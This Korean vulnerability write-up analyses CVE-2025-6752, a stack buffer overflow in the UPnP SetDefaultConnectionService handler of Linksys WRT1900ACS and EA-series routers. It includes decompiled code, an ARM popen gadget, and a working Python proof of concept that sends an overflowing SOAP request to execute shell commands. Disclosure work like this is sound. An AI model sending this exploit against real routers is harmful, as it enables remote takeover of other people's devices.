[하루한줄] CVE-2025-6752 : Linksys WRT1900ACS, EA7200, EA7450, EA7500의 Stack-based Buffer Overflow로 인한 RCE 취약점

URL

Target

  • WRT1900ACS(Ver. 2.0.3.201002)
  • EA7200(Ver. 1.0.3.20817933.9)
  • EA7450(Ver. 1.0.4.208179)
  • EA7500(Ver. 3.0.1.207964)

Explain

Linksys 라우터 제품들에서 Stack-based Buffer Overflow로 인한 RCE 취약점이 발생하였습니다. 이 취약점은 제품들에서 공통적으로 사용하는 IGD의 구성 요소인 UPnP 기능을 제어하는 /upnp/control/Layer3Forwarding 파일 내 SetDefaultConnectionService() 함수에서 발생합니다.

UPnP 서비스에서 SOAP 프로토콜은 XML 형태로 데이터를 수신 받습니다. 해당 XML 요소 중 NewDefaultConnectionService는 공격자로부터 직접 전달이 되는데, 이 요소에 대한 길이 검증이 미흡하여 취약점이 발생합니다.

v19 = 0;
v20 = 0;
ulog_debugf(5, 0, "Layer3Forwarding action: SetDefaultConnectionService\n");
FirstbyName = PAL_xml_node_GetFirstbyName((*a1) [240], "NewDefaultConnectionService", 0);
value = PAL_xml_node_get_value (FirstbyName, v3);
v5 = value;
if (Ivalue)
{
	ulog_debugf(5, 0, "Layer3Forwarding action: No NewDefaultConnectionService\n");
	v6 = a1;
	v7 = 402;
	LABEL_15:
	*v6 = v7;
	goto LABEL_16;
}
v8 sub_189BC(value);
v9 = v8;

함수 내에서 strncpy()를 사용할 때 버퍼의 크기가 아닌, 사용자가 전달하는 NewDefaultConnectionService의 길이를 기준으로 복사합니다. 이런 미흡한 길이 검증으로 인해 Buffer Overflow가 발생합니다.

int _fastcall sub_189BC(const char *al) {
	int result; // го
	size_t v3; // re
	int (**v4)(); // r4
	size_t v5; // re
	char *v6; // re
	int (**v7)(); // r6
	const char *v8; // r5
	const char *v9; // r8
	int v10; // r7
	size_t v11; // го
	int v12; // r3
	int v13; // re
	const char *v14; // r7
	size_t v15; // re
	const char *v16; // re
	const char *v17; // rг1
	size_t v18; // 2
	size t v19; // re
	int v20; // r6
	int v21; // r7
	char dest[256]; // [sp+4h] [bp-144h] BYREF
	char v23[68]; // [sp+104h] [bp-44h] BYREF

	if (lal)
		return 501;
	if (strlen(a1) <= 0x29)
		return 720;
	ulog_debugf(5, 0, "check the string:%s\n", a1);
	v3 = strlen(a1);
	v4 = off_20368;
	strncpy(dest, a1, v3);
	strncpy(v23, a1, 0x2Au);
	v23 [41] = 0;
	ulog_debugf(5, 0, "UUID:%s\n", v23);
	while (1)
	{
		v5 = strlen(v4 + 8);
		if (!strncmp(v4 + 8, v23, v5))
		break;
		v4 = v4[48];
		if (!v4)
		{

공격자는 바이너리 내에 존재하는 popen() 함수를 이용하여 exploit을 구성할 수 있었습니다. 또한, 취약점이 발생하는 sub_189BC() 함수는 리턴 시 POP {R4-R8,LR}가 존재하는 것을 이용하여 매개 변수 제어가 가능하기 때문에 exploit을 구성할 수 있었습니다.

BL       snprintf
MOV      RO, R4; command
LDR      R1, (aDeviceModelnum+0x12); modes
BL       popen
SUBS     R8, RO, #0
BNE      loc_170BC
LDR      R3, (algdPiiGetWanPr+0x15); ""
MOV      RO, #5

PoC는 아래와 같습니다.

공격자는 NewConnectionService 요소에 버퍼 길이보다 긴 문자열을 삽입하여 BOF를 발생 시킵니다. 그리고 popen() 함수 전달하는 것을 통해 공격자는 원하는 명령어를 전달하고 실행시킬 수 있습니다.

import socket

ip="192.168.17.132"
port="49152"

payload='touch /tmp/flag;touch /tmp/flag;sleep 50#'
payload=payload.rjust(0x12c,' ')+'\xd0\x29\x90\xb1'*5+'\x78\x70'

junk='b'*0x1000

file_content='''
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:SetDefaultConnectionService xmlns:u="urn:schemas-upnp-org:service:Layer3Forwarding:1#SetDefaultConnectionService"><NewDefaultConnectionService>{}</NewDefaultConnectionService><NewConnectionService>{}</NewConnectionService></u:SetDefaultConnectionService></s:Body></s:Envelope>
'''.format(payload,junk)

content_len=len(file_content)

template = f'''POST /upnp/control/Layer3Forwarding HTTP/1.1
Host: {ip}:{port}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.4.1688139926.1746780008; _ga_BDYNZJT6JR=GS2.4.s1748393176$o15$g0$t1748393176$j60$l0$h0
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: text/xml;
SOAPACTION: "urn:schemas-upnp-org:service:Layer3Forwarding:1#SetDefaultConnectionService"
Content-Length: {content_len}

{file_content}
'''.replace('\n', '\r\n')
#print(template)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, int(port)))
sock.sendall(template.encode('latin-1'))

data=sock.recv(4096)
print(data)

Reference